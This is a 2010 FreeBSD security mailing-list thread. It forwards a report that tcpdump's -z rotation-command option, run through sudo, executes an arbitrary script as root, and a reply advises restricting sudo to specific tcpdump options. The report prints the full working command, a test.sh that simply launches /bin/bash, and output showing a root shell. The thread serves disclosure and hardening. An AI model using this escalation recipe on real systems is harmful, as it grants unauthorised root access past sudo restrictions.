freebsd security - Aug 2010 - tcpdump -z

Hi,

This is a froward message from tcpdump-workers mail list:

=== 8< ================ >8 ==From: ef <blob.bb.a@gmail.com>
Subject: tcpdump -z: command execution
Date: Fri, 27 Aug 2010 09:33:48 +0200
To: tcpdump-workers@lists.tcpdump.org

Hello,

Thx for tcpdump, very valuable tool!

Was looking at the new version of tcpdump a few days ago and saw this
option:
"
-z
Used in conjunction with the -C or -G options, this will make tcpdump run "
command file " where file is the savefile being closed after each rotation.
For example, specifying -z gzip or -z bzip2 will compress each savefile
using gzip or bzip2.
Note that tcpdump will run the command in parallel to the capture, using the
lowest priority so that this doesn't disturb the capture process.
And in case you would like to use a command that itself takes flags or
different arguments, you can always write a shell script that will take the
savefile name as the only argument, make the flags & arguments arrangements
and execute the command that you want.
"

I think there are many environments that restrict users but give access to
tcpdump via sudo. With this option tcpdump can execute any command:

$ ./tcpdump -V
tcpdump version 4.1.1

$ sudo ./tcpdump -i any -G 1 -z ./test.sh -w dump port 55555
[sudo] password for user:
tcpdump: listening on any, link-type LINUX_SLL (Linux cooked), capture size
65535 bytes
(generate some traffic on port 55555)
root@blaa ~/temp/tcpdump-4.1.1$ id
uid=0(root) gid=0(root) groups=0(root)

$ cat test.sh:
#!/bin/bash
/bin/bash

Is this known and accepted? Could this option maybe be implemented
differently?

Regards,
tazo
=== 8< ================ >8 ==
-- 
WBR, Vadim Goncharov. ICQ#166852181       mailto:vadim_nuclight@mail.ru
[Moderator of RU.ANTI-ECOLOGY][FreeBSD][http://antigreen.org][LJ:/nuclight]

On 08/27/2010 10:32 AM, Vadim Goncharov wrote:
> This is a froward message from tcpdump-workers mail list:
> === 8<  ================>8 ==> $ sudo ./tcpdump -i any -G 1 -z
./test.sh -w dump port 55555
> [sudo] password for user:
> tcpdump: listening on any, link-type LINUX_SLL (Linux cooked), capture size
> 65535 bytes
> (generate some traffic on port 55555)
> root@blaa ~/temp/tcpdump-4.1.1$ id
> uid=0(root) gid=0(root) groups=0(root)
>
> Is this known and accepted? Could this option maybe be implemented
> differently?
In my opinion, if you allow people to run tools as root using sudo, 
you'd better make sure those tools don't allow attackers to easily gain 
root access. In the case of tcpdump, the '-w' flag most probably already
allowed that, although '-z' is a bit more convenient to the attacker.

As a solution, configure your sudo correctly, only allowing specific 
tcpdump command line options (or option sets) to be used.

-- 
Pieter